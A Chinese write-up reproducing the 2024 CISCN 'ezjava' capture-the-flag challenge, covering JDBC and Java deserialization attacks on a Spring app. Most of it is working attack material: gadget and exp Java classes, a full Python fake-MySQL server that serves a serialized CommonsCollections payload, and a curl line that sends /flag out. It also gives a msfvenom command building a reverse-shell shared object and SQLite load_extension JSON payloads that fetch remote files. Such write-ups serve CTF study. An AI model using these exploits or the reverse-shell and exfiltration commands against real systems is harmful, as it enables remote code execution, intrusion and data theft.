2024ciscn ezjava复现
mysql写文件到classpath(行不通) 首先看pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi
mysql写文件到classpath(行不通)
首先看pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>jdbcTest</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>jdbcTest</name>
<description>jdbcTest</description>
<properties>
<java.version>1.8</java.version>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<spring-boot.version>2.3.3.RELEASE</spring-boot.version>
</properties>
<dependencies>
<dependency>
<groupId>org.xerial</groupId>
<artifactId>sqlite-jdbc</artifactId>
<version>3.8.9</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.clickhouse</groupId>
<artifactId>clickhouse-jdbc</artifactId>
<version>0.3.2-patch11</version>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-params</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.13</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.7.2</version>
</dependency>
<dependency>
<groupId>com.amazon.redshift</groupId>
<artifactId>redshift-jdbc42</artifactId>
<version>2.1.0.10</version>
</dependency>
<!-- https://mvnrepository.com/artifact/oracle.jdbc.oracledriver/ojdbc6 -->
<!-- https://mvnrepository.com/artifact/org.aspectj/aspectjweaver -->
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>${spring-boot.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
<encoding>UTF-8</encoding>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>2.0.3.RELEASE</version>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
这里一开始想到的是2021年CISCN的ezj4va的打法,用mysql jdbc直接返回序列化数据,aspectjweaver写入恶意classes文件
SimpleCache$StoreableCachingMap.put()
SimpleCache$StoreableCachingMap.writeToPath()
FileOutputStream.write()UserBean类:
package com.example.jdbctest.bean;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Base64;
import java.util.HashMap;
/* loaded from: UserBean.class */
public class UserBean implements Serializable {
private String name;
private String age;
private Object obj;
public UserBean(String name, String age) {
this.name = name;
this.age = age;
}
public UserBean() {
}
public String getAge() {
return this.age;
}
public void setAge(String age) {
this.age = age;
}
public Object getObj() {
return this.obj;
}
public void setObj(Object obj) {
this.obj = obj;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
HashMap<String, byte[]> a = (HashMap) gf.get("obj", (Object) null);
String name = (String) gf.get("name", (Object) null);
String age = (String) gf.get("age", (Object) null);
if (a == null) {
this.obj = null;
return;
}
try {
a.put(name, Base64.getDecoder().decode(age));
} catch (Exception var7) {
var7.printStackTrace();
}
}
}
这里反序列化正好可以可控一个put方法,我们目的是写入classpath下,这里为了防止本地编译自动在target/classes下生成class文件冲突新建了另一个项目来写exp
import java.io.Serializable;
public class Evil implements Serializable {
private void readObject(java.io.ObjectInputStream s) throws Exception{
//Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl http://ip:port -F file=@/flag"});
Runtime.getRuntime().exec("calc");
}
}
import com.example.jdbctest.bean.UserBean;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.util.Base64;
public class exp1 {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException, IOException {
UserBean userBean=new UserBean();
Constructor aspectjConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructors()[0];
aspectjConstructor.setAccessible(true);
Object simpleCache = aspectjConstructor.newInstance("./target/classes", 12);
userBean.setObj(simpleCache);
userBean.setName("Evil.class");
byte[] content_byte = Files.readAllBytes(new File("D:\\JavaProject\\writepayload\\src\\main\\java\\Evil.class").toPath());
userBean.setAge(Base64.getEncoder().encodeToString(content_byte));
FileOutputStream fileOutputStream = new FileOutputStream("payload");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(userBean);
// ByteArrayInputStream bais = new ByteArrayInputStream(bos.toByteArray());
// ObjectInputStream objectInputStream=new ObjectInputStream(bais);
// userBean = (UserBean) objectInputStream.readObject();
}
}
生成的payload文件和jdbc_exp.py文件放到同一个目录:
# coding=utf-8
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢？？
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3306
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
此脚本会先寻找当前目录的payload文件传给mysql,没有就传自定义的默认的数据
第一次我们写入恶意的classes文件
第二次我们直接把Evil类序列化通过Mysql JDBC返回,它会先去classpath下寻找是否有同名文件,有的话直接调用其中我们重写的readObject()方法
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class exp2 {
public static void main(String[] args) throws IOException {
FileOutputStream fileOutputStream=new FileOutputStream("payload");
ObjectOutputStream objectOutputStream=new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(new Evil());
}
}
成功弹出计算器
但是远程没有打通,因为远程应该是个jar包,没有.target/classes这个目录,之前的题能打通是因为那个题有iml配置文件配置了target/classes为WEB-INF/classes
mysql写so文件+sqlite加载so RCE
看了别人的wp发现是打sqlite:
<dependency>
<groupId>org.xerial</groupId>
<artifactId>sqlite-jdbc</artifactId>
<version>3.8.9</version>
</dependency>
参考: https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md
和 https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/
我们这里有可控的select语句,将tableName设置成create view xxx as 恶意select语句,我们执行select * from tableName时会被劫持去执行恶意select语句,也可以通过()括上select语句来执行里面的select语句
我们这里可以通过mysql上传一个恶意的so文件到/tmp目录,然后打sqlite去加载恶意so文件
so文件:
msfvenom -p linux/x64/exec CMD='echo bash -c "bash -i >& /dev/tcp/ip/port 0>&1"的base64编码|base64 -d|bash' -f elf-so -o evil.so之前mysql jdbc的payload改一下
Object simpleCache = aspectjConstructor.newInstance("./target/classes", 12);
的./target/classes为../../../../../../../tmp即可
然后打sqlite
{
"type":"3",
"tableName":"(select (load_extension(\"/tmp/evil.so\")));",
"url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"
}
sqlite写文件+加载so文件
主要参考: https://www.cnblogs.com/F12-blog/p/18208215
还可以通过sqlite写文件:
- 先传入恶意so文件的缓存文件(.db),然后传入服务端,此时会在/tmp下生成一个sqlite-jdbc-tmp-??????.db
{"type":"3","url":"jdbc:sqlite::resource:http://ip:port/poc.so"}
这个????的计算方法是new URL(url).hashCode()+'.db' 同样方法上传恶意db文件,内容是指定tableName方便后面来劫持select语句去执行我们恶意的select语句
db文件内容:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--??????.db'));
这个load的是第一步上传的so文件
payload:{"type":"3","url":"jdbc:sqlite::resource:http://ip:port/poc.db","tableName": "security"}
此时又在/tmp下生成一个db文件,是poc.db的
开启load_extension,加载恶意so文件
{"type":"3","url":"jdbc:sqlite:file:/tmp/sqlite-jdbc-tmp--??????.db?enable_load_extension=true","tableName": "security"}
此时的file是上一步的poc.db的
参考:
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